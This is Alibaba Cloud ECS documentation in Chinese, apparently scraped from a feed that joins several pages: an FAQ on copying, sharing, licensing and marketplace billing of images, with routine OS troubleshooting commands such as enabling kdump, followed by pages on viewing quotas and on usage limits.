      复制镜像过程包括以下操作:

      1. 从源地域将生成自定义镜像的快照复制到目标地域。
      2. 在目标地域根据快照自动生成自定义镜像。

      上述过程可能涉及以下费用:

      • 不同地域之间的数据传输流量费。阿里云目前暂未对这部分流量收费,具体收费时间请以官网公告为准。
      • 复制过来的快照会占用快照容量。目前快照容量已经收费,详情请参见快照计费方式

      在复制镜像过程中,源镜像和目标镜像有什么限制?

      在复制过程中,源镜像禁止删除,目标镜像可以取消复制,不能用于更换系统盘和创建ECS实例。

      怎么复制我的云账号的镜像资源到其他阿里云账号的其他地域?

      您需要复制自己的镜像到目标地域,并将该镜像共享给对方的云账号。对方云账号的共享镜像列表中会显示该镜像。

      复制镜像有镜像容量限制吗?

      没有限制。但是,复制容量超过500GiB时需要提交工单申请,当您在控制台单击复制镜像时,控制台会提示您提交工单申请。

      能否跨地域复制来源于镜像市场镜像的自定义镜像?

      如果镜像市场镜像在目标地域存在,则您可以复制基于该镜像创建的自定义镜像到目标地域。否则,复制时,会出现如下错误信息。

      复制基于云市场镜像创建的镜像

      中国内地以外的地域迁移数据到中国内地地域有什么方法?

      您可以通过复制镜像实现。具体步骤,请参见复制镜像

      我最多可以获得多少个共享镜像?

      100个。

      每个镜像最多可以共享给多少个用户?

      50个。

      我有多个站点的账号,能否互相共享镜像?

      可以。支持中国站、国际站、日本站的账号之间共享镜像,但是基于镜像市场镜像创建的自定义镜像除外。

      使用共享镜像是否占用我的镜像名额?

      不占用。

      使用共享镜像创建实例的时候存不存在地域限制?

      有地域限制。同一个共享源,地域也应该相同。

      使用共享镜像创建实例存在什么样的风险?

      镜像拥有者可以查看该镜像的共享关系,也可以删除该镜像。共享镜像被拥有者删除后,会导致使用共享镜像的ECS实例不能重新初始化系统盘。

      阿里云不保证其他账号共享镜像的完整性和安全性,使用共享镜像时您需要自行承担风险,请您选择信任的账号共享的镜像。使用共享镜像创建ECS实例时,您需要登录该ECS实例检查一下共享镜像的安全性和完整性。

      我把自定义镜像共享给其他账号,存在什么风险?

      有数据泄露和软件泄露的风险。在共享给其他账号之前,请确认该镜像上是否存在敏感的和安全的重要数据和软件。得到您的共享镜像的账号,可以用这个共享镜像创建ECS实例,还可以用这个ECS实例创建更多自定义镜像,其中的数据会不停传播,造成泄露风险。

      我能把别人共享给我的镜像再共享给其他人吗?

      不能。只有镜像的拥有者才能共享给其他账号。

      我把镜像共享给他人,还能使用该镜像创建实例吗?

      可以。您将镜像共享给其他账号后,还可以用该镜像创建ECS实例,在该ECS实例的基础上也可以继续创建自定义镜像。

      华北地域服务器A制作的镜像能共享给华东地域的服务器B吗?

      • 如果服务器A与B属于同一账号,可直接复制镜像到华东地域给服务器B使用。具体步骤,请参见复制镜像
      • 如果服务器A与B属于不同的账号,可先复制镜像到华东地域再共享给服务器B的账号。具体步骤,请参见复制镜像共享或取消共享镜像

      导入自定义镜像时,是否支持自带许可证BYOL?

      支持。您可以通过ECS管理控制台的导入镜像功能或ImportImage配置许可证类型,详情请参见导入自定义镜像ImportImage

      导入自定义镜像支持哪些许可证类型?

      导入自定义镜像时,您可以选择以下三种许可证类型:

      • 阿里云(Aliyun)

        由阿里云提供许可证,主要包括Windows Server操作系统许可证。在导入镜像安装了cloud-init的前提下,阿里云会使用官方密钥管理服务器(KMS)激活操作系统,且提供Windows Server更新服务(WSUS)。

      • 自带许可(Bring Your Own License,简称BYOL)

        自带许可证上云的场景目前主要有以下两种:

        • Microsoft

          微软自带许可场景包含:

          • 通过软件保障协议(Software Assurance,简称SA)实现自带许可场景

            支持微软许可证移动性(License Mobility)的软件,包括SQL Server,SharePoint等,可以通过创建ECS实例实现自带许可。

          • Windows操作系统场景

            Windows客户端访问许可(Client Access License,简称CAL)不适用于许可证移动性,所以无法在共享硬件环境下使用已经拥有的Windows许可证。您需要将Windows部署在独享的物理环境中,可以使用阿里云的专有宿主机或弹性裸金属服务器,详情请参见专有宿主机产品文档弹性裸金属服务器产品文档

            对于此类ECS实例,阿里云不提供KMS、WSUS服务及对软件的技术支持,您可以联系微软获取软件技术支持。

          • 无SA或不支持通过SA实现自带许可的场景

            此场景类似于与Windows操作系统场景,您可以在独享的硬件环境中复用已购的软件许可证并自行下载软件进行部署。

        • Redhat

          Redhat提供云接入(Cloud Access)方式。若要迁移当前的Red Hat订阅在阿里云上使用(Bring Your Own Subscription,简称BYOS),可以注册Red Hat云接入计划,详情请参见注册云接入计划

      • 自动(Auto)

        默认值。根据您设置的要导入操作系统的发行版,自动设置成相应的许可证类型。

        • 对于阿里云已经和厂商签署授权协议的操作系统(如Windows Server),并且阿里云可以提供官方许可证的操作系统,许可证类型会设置成阿里云(Aliyun)。
        • 其他操作系统会设置成自带许可(BYOL),例如非商业化的Linux镜像,阿里云不提供软件技术支持。

      导入的自带许可BYOL镜像如何计费?

      自带许可的镜像,不需要支付操作系统组件的费用,适用于新建ECS实例、续费ECS实例、实例升降配和重新初始化实例的场景。

      自带许可证、订阅到期后,如何通过阿里云做认证和订阅?

      您可以将BYOL镜像更换成阿里云镜像。

      • Windows Server系统可使用阿里云的官方镜像。阿里云官方镜像详情,请参见公共镜像概述
      • SQL Server、Redhat镜像可通过阿里云云市场获取,详情请参见镜像市场

      我想将镜像导出到本地进行测试,具体要怎么操作呢?

      目前镜像文件的导出格式默认为.raw.tar.gz,解压后为.raw格式,您可以自行查看该格式镜像的相关使用资料,阿里云并未做特殊限制。

      如果使用自定义镜像创建了ECS实例,我可以删除这个镜像吗?

      您可以强制删除这个镜像。但是,删除镜像后,使用该自定义镜像创建的ECS实例无法重新初始化云盘,详情请参见重新初始化云盘

      我曾把自己账号中的某个自定义镜像共享给其他账号,现在我可以删除这个镜像吗?

      可以删除。但是当您删除共享镜像后,使用该共享镜像创建的ECS实例都不能重新初始化系统盘。所以,建议您把该自定义镜像的所有关系删除后再删除镜像。

      我把某个自定义镜像(M)的共享账号(A)给删除了,会有什么影响?

      您将无法通过ECS控制台或者ECS API查询到共享镜像M。无法使用镜像M创建ECS实例和更换系统盘。如果账号A在删除共享关系前,使用镜像M创建了ECS实例,那么这些实例将不能重新初始化系统盘。

      删除镜像的时候提示“指定的镜像Id还存在保有实例,不能删除该镜像”,为什么?

      您可能使用快照创建了镜像。如果想删除镜像,必须选择强制删除。强制删除镜像后,不会影响现有实例的使用,但是使用该自定义镜像创建的ECS实例无法重新初始化云盘,详情请参见删除自定义镜像

      更换系统盘时,选择的镜像中包含数据盘的话,能通过更换系统盘实现更换镜像吗?

      不能。如果必须要使用这个镜像,建议您使用该镜像创建一个按量付费的ECS实例,为系统盘创建快照,然后再通过该快照创建只包含系统盘的自定义镜像,最后更换系统盘时选择该自定义镜像。

      我目前有一台ECS服务器,想用现有的镜像来更换这台ECS的操作系统,怎么操作?

      使用现有镜像更换ECS实例操作系统的具体步骤,请参见更换操作系统

      说明 建议您操作之前创建快照备份数据。

      账号A的服务器制作镜像后,能给账号B更换系统盘用吗?

      您需要先共享镜像给账号B,然后再更换系统盘。共享镜像,请参见共享或取消共享镜像

      注意 用于更换系统盘的镜像中,只能包含系统盘。

      为什么创建实例时自定义镜像的配置费用高于公共镜像?

      以下任一原因均可导致自定义镜像的配置费用高于公共镜像。

      • 自定义镜像中包含数据盘。创建实例时,数据盘产生的费用,导致自定义镜像总费用高于相应的公共镜像。
      • 自定义镜像基于付费公共镜像(如Windows Server、Redhat Enterprise Linux等)创建。

      镜像市场的镜像有哪些功能?

      镜像市场的镜像在操作系统基础上预装了软件环境和多种功能,例如PHP/.NET/JAVA/LAMP等运行环境、控制面板、建站系统等。将镜像与云服务器配套使用,您只需进行一次简单操作,就可快速部署云服务器的运行环境或软件应用。

      镜像市场的镜像能带来哪些便利?

      通过镜像市场的镜像开通云服务器ECS,一键部署,您即可获得与镜像一致的系统环境或软件,便捷地创建已就绪的运行环境,同时轻松地搭建并管理站点。无需自行配置环境、安装软件。

      目前镜像市场的镜像支持哪些服务器环境和应用场景?

      镜像市场提供上百款优质第三方镜像,不仅全面支持.NET、PHP、JAVA、LAMP和Docker虚拟容器等运行环境的部署,而且满足建站、应用开发、可视化管理等个性化需求。

      镜像市场的镜像是否安全?

      镜像服务商均有丰富的系统维护和环境配置经验,所有镜像都基于包含云盾的阿里云官方操作系统制作,且预先经过严格安全审核,敬请放心使用。

      镜像市场的镜像安装使用过程中出问题了怎么办?

      查看购买页的服务信息,通过在线旺旺、电话或邮箱直接与镜像服务商联系,实时解答您的疑问。

      如何购买镜像市场镜像?

      您可以在镜像市场单独购买,也可以在ECS售卖页面和ECS实例同时购买。

      按次购买的镜像的使用期限是多久?

      原则上可以一直使用,但要需要注意,镜像作为一种软件有自身的生命周期,另外服务商提供的服务支持实际上是有期限的,具体应以商品上的描述为准。

      镜像市场的镜像支持退款吗?

      镜像按照云市场统一规则支持有限时间内无理由退款,但出现以下情况时不予退款。

      • 在无理由退款时限内将购买的镜像部署在了云服务器上。
      • 在提交退款的申请审批确认前,将购买的镜像部署在了云服务器上。
      • 也就是说,镜像在不被使用的状态下可以退款。

      镜像市场商业化后,还有免费的镜像市场镜像吗?

      镜像市场还会存在一定数量的免费的镜像,可以放心使用。0元的镜像也需要购买后才能使用。

      在杭州买了一个镜像市场的镜像,能否在北京创建ECS实例或者更换系统盘?

      不可以,购买的镜像市场镜像只能在相同地域进行创建ECS实例或者更换系统盘。

      ECS实例使用镜像市场的镜像,升级和续费ECS实例,需要为镜像继续付费吗?

      不需要付费。购买一个镜像可以一直在ECS实例上使用,无需再续费。

      ECS实例使用镜像市场的镜像,实例释放后,继续购买ECS实例还可以免费使用该镜像吗?

      可以。

      使用镜像市场镜像创建ECS实例,该实例创建一个自定义镜像,使用该自定义镜像创建ECS实例需要为该镜像付费吗?

      需要,价格和原镜像市场的镜像价格相同。

      来源于镜像市场的镜像复制到其他地域创建ECS实例,是否需要为该镜像付费?

      需要,价格和原镜像市场的镜像价格相同。

      如果把来源于镜像市场的自定义镜像共享给其他账号(B)创建ECS实例,账号B是否需要为该镜像付费?

      账号B需要支付该镜像费用,价格和原镜像市场的镜像价格相同。

      如果使用镜像市场的镜像或者来源于镜像市场的镜像进行更换系统盘,需要付费吗?

      需要看情况,如果当前的ECS实例使用的镜像和您要更换的镜像属于同一个镜像商品的不同版本的镜像,是不需要付费的,否则是需要付费的。

      ECS实例正在使用镜像市场的镜像,更换系统盘需要收费吗?

      不会。

      怎么调用ECS API,使用镜像市场镜像或者来源镜像市场的自定义镜像或者共享镜像,创建ECS实例和更换系统盘?

      1. 确认使用的镜像ID是镜像市场镜像或者是来源于镜像市场的镜像,调用DescribeImages查询到镜像的相关信息。

        如果您使用的镜像的商品标示(ProductCode)不为空,表示该镜像是镜像市场的镜像、来源于镜像市场的自定义镜像或者共享镜像。如果使用的镜像的商品标示ProductCodeabcd000111,您可以访问镜像商品的地址http://market.aliyun.com/products/123/abcd000111.html

      2. 需要选择镜像的版本和正确地域,只购买ECS镜像。

        购买某一地域的镜像,只能在该地域的ECS实例上使用。当前每次只能购买一个镜像,如果需要创建多个ECS实例,则需要购买多个镜像。

      3. 购买完成后,您可以创建ECS实例和更换系统盘。

      如果没有购买镜像市场的镜像或者来源于镜像市场的镜像,在调用ECS API使用该镜像创建ECS实例和更换系统盘,会报错吗?

      会报错,错误码为QuotaExceed.BuyImage

      我的ESS是自动创建机器的,并且量是不固定,设置最小值为10台,最大值为100台,那么使用镜像市场的镜像如何保证我的需求实例能正常弹出来?

      如果您需要弹出n台同类型的镜像,您需要提前购买n台镜像市场的镜像。

      镜像市场的镜像是否支持批量购买?

      暂不支持批量购买。

      如果之前使用的镜像市场的镜像,已不存在该商品(如:jxsc000010、jxsc000019),怎能保证已经设置的弹性伸缩组的机器能正常弹出?

      此情况建议您选择镜像市场中可替代的镜像进行替代。

      1个product code能否支持不同region的镜像?

      支持,前提是该地域region已经支持该商品镜像。

      我买了100 product code同样值的镜像,是否可以支持在所有的地域可用?

      目前镜像市场的镜像已经具备region属性,请您购买相应地域的镜像。

      勾选“I/O优化实例”选项导致购买ECS实例时无法选择镜像市场的镜像,为什么?怎么解决?

      有关该问题的分析及解决方案如下:

      • 问题现象:在阿里云官网购买ECS实例,选择镜像时,发现无法选取任何镜像市场的镜像。
      • 原因分析:该问题可能是由于购买ECS实例时,勾选了I/O优化实例选项导致的。

        与普通ECS实例相比,I/O优化实例可在实例与云盘之间提供更好的网络能力,可保证SSD云盘存储发挥最高性能。由于相关优化操作涉及网络、存储和镜像内部相关驱动等,因此并非所有镜像都能支持I/O优化实例。

      • 解决方法:购买I/O优化实例时,建议您选择实例支持的官方标准镜像,再自行部署相关业务环境。

      如问题依然未解决,请提交工单。

      什么是镜像市场的包年包月和按周付费镜像?

      镜像市场的包年包月和按周付费镜像是指从阿里云云市场购买的,按周、按月或按年付费使用的镜像。这些镜像由镜像供应商开发并维护,所有售前咨询和售后服务都由镜像供应商提供。在本文中,这类镜像统称为包年包月镜像。

      包年包月镜像能与哪种ECS实例搭配使用?

      包年包月镜像只能与包年包月实例和按周付费实例搭配使用,而且镜像与ECS实例的付费周期应保持一致。

      怎么购买包年包月镜像?可以单独购买吗?

      目前您还不能单独购买包年包月镜像。

      您可以选择以下任一种方式购买包年包月镜像:

      • 在创建ECS实例时,付费方式选择包年包月,并从镜像市场选择镜像,再选择按周、按月或按年付费。

        说明 在这种情况下,您需要同时支付实例与镜像的费用。如果实例创建成功,表明您已经同时支付了实例与镜像的费用,不会出现其中一项资源购买失败的情况。

      • 如果您想在一台已有的包年包月或按周付费ECS实例上使用包年包月镜像,您可以使用更换操作系统功能将操作系统更换为包年包月镜像,此时,您只能按照ECS实例的付费周期选择镜像的付费周期。具体操作方式,请参见更换系统盘(非公共镜像)

        说明 在这种情况下,您只需要支付镜像的费用。

      包年包月镜像怎么付费?

      包年包月镜像采用预付费,付费周期应与使用它的包年包月或按周付费ECS实例保持一致。

      镜像的价格以供应商提供的信息为准。

      包年包月镜像到期了就不能用了吗?怎么继续使用?

      包年包月镜像到期后,如果没有及时续费就不能再使用。

      您不能单独为包年包月镜像续费。如果要继续使用,您可以在为ECS实例续费的同时为镜像续费。续费后,可以继续使用镜像。

      购买包年包月镜像后,如果我不想再使用这个镜像,能要求退款吗?

      能否退款由镜像供应商决定。您可以在购买之前咨询镜像供应商。

      退款时,费用怎么结算?

      如果可以退款,镜像供应商将按照您的实际使用情况退款。

      包年包月镜像能转换为按量付费镜像吗?

      目前不支持转换为按量付费镜像。后续我们会提供这个功能,具体时间请关注阿里云官网公告。

      包年包月镜像与其它镜像之间能互换吗?更换后费用怎么计算?

      可以。您可以通过ECS实例更换系统盘来更换镜像。更换镜像时有以下几种选择:

      • 将其他类别的镜像(如公共镜像、自定义镜像、共享镜像)换成包年包月镜像:更换后,系统将按镜像的费用和ECS实例的剩余付费周期计算实际费用。
      • 将包年包月镜像换成其它类别的镜像(如公共镜像、自定义镜像、共享镜像):如果供应商允许退款,镜像供应商将按照您的实际使用情况退款。
      • 将一个包年包月镜像(设为镜像A)换成另一个包年包月镜像(设为镜像B):更换后,如果镜像 A 允许退款,将按退款方式结算费用,镜像B将按镜像的价格和ECS实例剩余付费周期计算实际费用。

      在哪里查看并管理我购买的包年包月镜像?

      您可以登录ECS管理控制台,在镜像 > 镜像市场中查看并管理您购买的包年包月镜像。

      使用包年包月镜像制作的自定义镜像会收费吗?包年包月镜像过期对于自定义镜像有什么影响?

      当您使用由包年包月镜像制作的自定义镜像时,无论是使用自定义镜像创建实例,还是更换系统盘,都是重新在镜像市场下单购买镜像的使用权。所以,用于制作自定义镜像的包年包月镜像是否过期,对使用自定义镜像没有影响。

      为什么有的ECS实例无法选择Windows操作系统?

      使用Windows 操作系统创建ECS实例时,需要确保实例内存大于等于1GiB。内存低于1GiB的ECS实例(例如, 512MiB)只能选择Linux镜像和Windows Server 1709镜像。

      阿里云是否支持Windows Server 2008和Windows Server 2008 R2操作系统?

      微软已经于2020年1月14日停止对Windows Server 2008和Windows Server 2008 R2操作系统提供支持。因此阿里云不再对使用上述操作系统的ECS实例提供技术支持。如果您有使用上述操作系统的ECS实例,请尽快更新至Windows Server 2012或以上版本。

      实例的操作系统为Windows Server,现在提示Windows副本不是正版怎么办?

      激活Windows,详情请参见VPC环境下ECS Windows系统激活方法。如果在激活中遇到问题,请参见Windows系统ECS实例激活失败

      ECS实例使用操作系统需要付费吗?

      使用公共镜像Windows Server和Red Hat需付费,计费与实例规格大小有关,其余公共镜像均免费。其他类型镜像的费用详情,请参见镜像类型

      我能自己安装或者升级操作系统吗?

      不能自行安装或升级。ECS实例需要使用阿里云官方提供的镜像,您无法自行添加或升级。但是您可以进行下列操作:

      • 更换系统盘重新选择操作系统。具体步骤,请参见更换操作系统
      • 从本地导入自己的镜像后使用自定义镜像创建ECS实例。导入镜像的操作步骤,请参见导入镜像必读。使用自定义镜像创建ECS实例的操作步骤,请参见使用自定义镜像创建实例
      • 为操作系统打补丁。

      操作系统是否有图形界面?

      除Windows Server半年渠道实例以外,Windows操作系统是桌面管理形式。有关如何使用Windows Server半年渠道操作系统,请参见Windows Server半年渠道镜像与实例管理

      Linux 操作系统是命令行形式,您可以根据需要安装图形化桌面。

      如何选择操作系统?

      选择操作系统,请参见选择镜像

      公共镜像自带FTP上传吗?

      不自带,需要您自己安装配置。具体步骤,请参见手动搭建FTP站点(Windows)手动搭建FTP站点(CentOS 7)

      阿里云支持哪些SUSE版本?

      目前,公共镜像支持的SUSE版本,请参见Linux公共镜像列表

      SUSE操作系统提供哪些服务支持?

      阿里云线上售卖的SLES(SUSE Linux Enterprise Server)操作系统会与SUSE更新源保持定时同步。使用SLES公共镜像创建的实例,其操作系统的支持服务涵盖在阿里云的企业级别支持服务中。如果您购买了企业级支持服务,可以提交工单获取帮助,阿里云工程师团队会协助您解决SLES操作系统上发生的问题。

      ECS实例到期释放后,如果这个实例之前手动制作了镜像快照,能不能找回之前实例的数据?

      可以。您可通过以下任一方式找回实例数据:

      • 使用之前制作的镜像创建新实例。具体步骤,请参见使用自定义镜像创建实例
      • 使用之前制作的镜像为当前实例更换系统盘。具体步骤,请参见更换系统盘(非公共镜像)

        注意 更换系统盘操作须注意以下两点:

        • 当前实例系统盘的内容会全部丢失,恢复为镜像的状态。
        • 镜像必须和您当前实例位于同一地域。

      我先有一台ECS实例,想再买一台ECS实例并使用现有这台ECS实例的镜像部署,应该如何操作?

      您可以为之前的ECS实例创建自定义镜像,然后使用该自定义镜像创建ECS实例即可。具体步骤,请参见使用实例创建自定义镜像使用自定义镜像创建实例

      我已经购买了新的ECS实例,如何把我的共享镜像恢复到这台新购ECS服务器上?

      请确保您已将镜像共享给新购服务器的账号,并根据实际情况选择下列方法之一进行操作。

      注意 更换系统盘存在如下风险:

      • 原系统盘会被释放,建议您提前创建快照备份数据。
      • 更换系统盘需要停止实例,因此会中断您的业务。
      • 更换系统盘完成后,您需要在新的系统盘中重新部署业务运行环境,有可能会对您的业务造成长时间的中断。
      • 更换系统盘是重新为您的实例分配一个系统盘,磁盘ID会改变,所以基于旧的系统盘创建的快照将不能用于回滚新的系统盘。

      我在阿里云有多个账号,想把账号A的一台ECS实例转移到账号B,或者用账号A购买一台ECS实例,把实例运行环境、应用迁移到账号B。怎么操作?

      您可以通过下列步骤操作:

      1. 使用账号A的实例创建自定义镜像。具体步骤,请参见使用实例创建自定义镜像
      2. 共享镜像给账号B。具体步骤,请参见共享或取消共享镜像
      3. 账号B使用共享镜像创建实例。具体步骤,请参见使用自定义镜像创建实例

      ECS实例之间如何迁移?

      ECS实例间迁移步骤如下:

      1. 为源ECS实例创建自定义镜像。
      2. 根据源ECS实例与目标ECS实例的归属地域和归属账号,迁移分为以下几种情况。
        • 源实例与目标实例属于同地域同账号,可直接进入下一步。
        • 源实例与目标实例属于不同地域,需复制镜像至目标实例所在地域。详情请参见复制镜像
        • 源实例与目标实例属于不同账号,需共享镜像给目标实例的账号。详情请参见共享或取消共享镜像
        • 源实例与目标实例属于不同地域和不同账号,需先复制镜像到目标地域,再分享给目标实例的账号。详情请参见复制镜像共享或取消共享镜像
      3. 使用镜像创建新的ECS实例,或为现有目标ECS实例更换镜像。详情请参见使用自定义镜像创建实例更换操作系统(镜像)

        说明 为现有目标ECS实例更换镜像时,源镜像中不能包含数据盘快照。

      以上迁移步骤不适用时,请参见阿里云ECS实例间迁移

      两个不同专有网络下的ECS实例能否实现网络互通?

      内网互通可以通过高速通道和云企业网实现,详情请参见 云企业网文档 步骤一:网络规划

      如何处理CentOS DNS解析超时?

      处理CentOS DNS解析超时的详情如下:

      • 原因分析

        因CentOS 6和CentOS 7的DNS解析机制变动,导致2017年2月22日以前创建的ECS实例或使用2017年2月22日以前的自定义镜像创建的CentOS 6和CentOS 7实例可能出现DNS解析超时的情况。

      • 解决方法

        请按下列步骤操作修复此问题:

        1. 下载脚本fix_dns.sh
        2. 将下载的脚本放至CentOS系统的/tmp目录下。
        3. 运行bash /tmp/fix_dns.sh命令,执行脚本。

      • 脚本作用

        判断DNS解析文件/etc/resolv.conf中是否存在options>single-request-reopen配置。详情请参见resolv.conf文件说明

        CentOS 6和CentOS 7的DNS解析机制,使用相同的网络五元组发送IPV4 DNS请求和IPV6 DNS请求,此时应开启single-request-reopen配置。开启该配置后,一旦需要处理同一socket发送的两次请求时,解析端会在发送第一次请求后关闭socket,并在发送第二次请求前打开新的socket。配置成功后,无需重启实例即可生效。

      • 脚本逻辑
        1. 判断实例系统是否为CentOS。
          • 如果实例为非CentOS系统(如Ubuntu和Debian):脚本停止工作。
          • 如果实例为CentOS系统:脚本继续工作。
        2. 查询解析文件/etc/resolv.confoptions的配置情况。
          • 如果不存在options配置:

            默认使用阿里云options配置options timeout:2 attempts:3 rotate single-request-reopen

          • 如果存在options配置:
            • 不存在single-request-reopen配置,则在options配置中追加该项。
            • 存在single-request-reopen配置,则脚本停止工作,不更改DNS nameserver的配置。

      为什么ECS默认没有启用虚拟内存或Swap说明?

      Swap分区或虚拟内存文件,是在系统物理内存不够用的时候,由系统内存管理程序将那些很长时间没有操作的内存数据,临时保存到Swap分区或虚拟内存文件中,以提高可用内存额度的一种机制。

      但是,如果在内存使用率已经非常高,而同时I/O性能也不是很好的情况下,该机制其实会起到相反的效果。阿里云ECS云盘使用了分布式文件系统作为云服务器的存储,对每一份数据都进行了强一致的多份拷贝。该机制在保证用户数据安全的同时,由于3倍增涨的I/O操作,会降低本地磁盘的存储性能和I/O性能。

      综上,为了避免当系统资源不足时进一步降低ECS云磁盘的I/O性能,所以Windows系统实例默认没有启用虚拟内存,Linux系统实例默认未配置Swap分区。

      如何在公共镜像中开启kdump?

      公共镜像中默认未开启kdump服务。若您需要实例在宕机时,生成core文件,并以此分析宕机原因,请参见以下步骤开启kdump服务。本步骤以公共镜像CentOS 7.2为例。实际操作时,请以您的操作系统为准。

      1. 设置core文件生成目录。
        1. 运行vim /etc/kdump.conf打开kdump配置文件。vim命令使用详情,请参见Vim教程
        2. 设置path为core文件的生成目录。本示例中,在/var/crash目录下生成core文件,则path的设置如下。
          path /var/crash
        3. 保存并关闭/etc/kdump.conf文件。
      2. 开启kdump服务。

        根据操作系统对命令的支持情况,选择开启方式。本示例中,CentOS 7.2使用方法一开启kdump服务。

        • 方法一: 依次运行以下命令开启kdump服务。
          systemctl enable kdump.service
          systemctl start kdump.service
        • 方法二: 依次运行以下命令开启kdump服务。
          chkconfig kdump on
          service kdump start

      3. 运行以下命令模拟宕机。
        echo c > /proc/sysrq-trigger

        说明 运行该命令后,实例会与网络失去连接。您需要重新连接实例,完成后续操作。

      4. 分析core文件。
        1. 运行以下命令安装Crash分析工具。
          yum install crash
        2. 下载debug-info安装包。

          运行uname -r命令查看操作系统内核版本,下载相应版本的debug-info包。

          • kernel-debuginfo-common-x86_64-<内核版本>.rpm
          • kernel-debuginfo-<内核版本>.rpm

          本示例中,系统的内核版本为3.10.0-514.26.2.el7.x86_64,因此下载命令为:

          wget http://debuginfo.centos.org/7/x86_64/kernel-debuginfo-common-x86_64-3.10.0-514.26.2.el7.x86_64.rpm
          wget http://debuginfo.centos.org/7/x86_64/kernel-debuginfo-3.10.0-514.26.2.el7.x86_64.rpm

        3. 依次运行下列命令,安装debug-info包。
          rpm -ivh kernel-debuginfo-common-x86_64-3.10.0-514.26.2.el7.x86_64.rpm
          rpm -ivh kernel-debuginfo-3.10.0-514.26.2.el7.x86_64.rpm
        4. 依次运行以下命令使用Crash工具分析core文件。
          cd <core文件的生成目录>
          crash /usr/lib/debug/lib/modules/<内核版本号>/vmlinux vmcore
          本示例中,core文件的生成目录为/var/crash/127.0.0.1-2019-07-08-15:52:25,内核版本号为3.10.0-514.26.2.el7.x86_64,因此运行的命令为:
          cd /var/crash/127.0.0.1-2019-07-08-15:52:25
          crash /usr/lib/debug/lib/modules/3.10.0-514.26.2.el7.x86_64/vmlinux vmcore

      VSwitch中实例数量过多导致CentOS实例夯机或异常重启,怎么办?

      问题原因及解决方法,请参见VSwitch中实例数量过多导致CentOS实例夯机或异常重启的问题

      Linux镜像如何开启或关闭Meltdown与Spectre安全漏洞补丁?

      安全漏洞的背景信息、涉及的公共镜像以及开启或关闭安全漏洞补丁的方法,请参见Linux镜像如何开启或关闭Meltdown与Spectre安全漏洞补丁

      如何检查与修复CentOS 7实例和Windows实例IP地址缺失问题?

      问题原因及解决方案,请参见如何检查与修复CentOS 7实例和Windows实例IP地址缺失问题

      历史Linux镜像问题修复方案有哪些?

      历史Linux镜像创建的ECS云服务器,可能存在NTP、阿里云软件源没有配置的情况,还可能存在安全漏洞。修复这些问题,可以让您的云服务器更加安全,可以使用阿里云提供的免费NTP服务器进行时间同步,还可以使用阿里云提供的软件源服务安装软件。修复方法如下:

      • 配置NTP服务,请参见配置Linux实例NTP服务
      • 添加阿里云软件源,请参见添加软件源
      • 主要修复目前已知的重大安全漏洞,需要升级的软件包括: bash 、glibc 、 openssl 、wget 、ntp 。

        在执行如下命令之前,需要确保系统当前的软件源已经正确设置。

        • CentOS和Aliyun Linux系统:yum update bash glibc openssl wget ntp
        • Ubuntu和Debian系统:apt-get install bash libc6 libc-bin openssl wget ntp

      ECS实例启动时报错“UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.”,怎么办?

      该问题可能是由于断电等情况,导致ECS实例内存数据丢失引发的文件系统错误。问题详情及修复方案,请参见ECS实例系统启动失败时报“UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.”的错误

      如何从RHEL 7升级到RHEL 8(Red Hat Enterprise Linux 8)?

      升级文档请参见 升级至RHEL 8

      如何设置Linux系统的ECS实例的静态IP地址?

      您需要远程连接ECS实例进行设置,具体步骤请参见Linux系统的ECS实例如何设置静态IP地址

      ]]> 查看配额_资源_标签与资源_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 查看配额

      更新时间:2020-04-24 18:15:46

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      通过ECS管理控制台可以查看您的账号已支持的权益和资源配额。如果某项资源配额无法满足业务需求,请提交工单提升配额。

      背景信息

      结合您的云服务器的使用情况,您获得的特权项目和资源的配额相应增加或减少。

      操作步骤

      1. 登录ECS管理控制台
      2. 概览页面的右上角,单击权益配额

        qy1

      3. 权益配额页面中,查看各个地域下的权益和资源配额。

        项目 说明
        特权功能 特权项目包括实时降配复制镜像导出镜像等,灰色图标表示您未获得该特权项目。
        特权设置 启用或禁用VPC内实例停机不收费
        资源限额 切换地域查看具体地域下的资源限额,包括特权资源和可购买的按量实例规格。单击工单申请可申请增加资源限额。
        网络特权 查看该地域是否开通经典网络。

      ]]> 使用限制_产品简介_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 使用限制

      更新时间:2020-04-07 14:16:30

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍云服务器ECS在产品功能和服务性能上的不同限制,以及如何申请更高配额。

      限制概述

      使用云服务器ECS有下列限制:

      • 不支持安装虚拟化软件和二次虚拟化(例如安装使用VMware Workstation)。仅弹性裸金属服务器和超级计算集群支持二次虚拟化。
      • 不支持声卡应用。
      • 不支持直接加载外接硬件设备(如硬件加密狗、U盘、外接硬盘、银行U key等),您可以尝试软件加密狗或者动态口令二次验证等。
      • 不支持多播协议。如果需要使用多播,建议改为使用单播点对点方式。
      • 日志服务不支持32位Linux系统云服务器。

        如何查看日志服务支持的云服务器系统,请参见Logtail简介

      • 如果云服务器需要备案,则云服务器有购买要求,且每台ECS实例可申请的备案服务号数量有限。详情请参见备案服务器(接入信息)准备与检查。备案流程请参见ICP备案流程概述

      查看配额

      您可以在ECS控制台概览页面查看权益配额,支持查看某一地域中的部分资源使用情况和配额。如果某项资源的配额无法满足业务需求,请提交工单申请提升配额。查看权益配额的详细步骤请参见查看配额DescribeAccountAttributes

      权益配额

      实例

      限制项 普通用户限制 提升限额方式
      创建ECS实例的用户限制 实名认证
      创建按量付费资源的限制 账户余额、代金券和信用度之和不得小于100元 提交工单
      可以创建按量付费实例的规格 vCPU核数少于16(不含16)的实例规格 提交工单
      一个账号在每个地域的按量付费实例的总vCPU配额 50 vCPU 提交工单
      一个账号在每个地域的抢占式实例配额 50 vCPU 提交工单
      一个账号在每个地域的实例启动模板数量 30
      一个实例启动模板中的版本数量 30
      按量付费转包年包月 以下实例规格(族)不支持:t1、s1、s2、s3、c1、c2、m1、m2、n1、n2、e3
      包年包月转按量付费
      • 是否支持此功能根据您的云服务器使用情况而定
      • 每月5000 vCPU*小时
      • 每月有最大退款额度限制,额度以转换页面显示为准

      预留实例券

      限制项 普通用户限制 提升限额方式
      一个账号的地域级预留实例券数量 20 提交工单
      一个账号在一个可用区的可用区级预留实例券数量 20 提交工单
